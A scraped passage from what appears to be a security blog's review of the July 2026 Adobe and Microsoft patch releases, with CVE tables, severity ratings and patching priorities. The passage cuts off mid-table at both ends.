Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:04:05.313171Z"}, {"uuid": "58194fae-20eb-46e9-a698-a0c62ebf7aaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54114", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  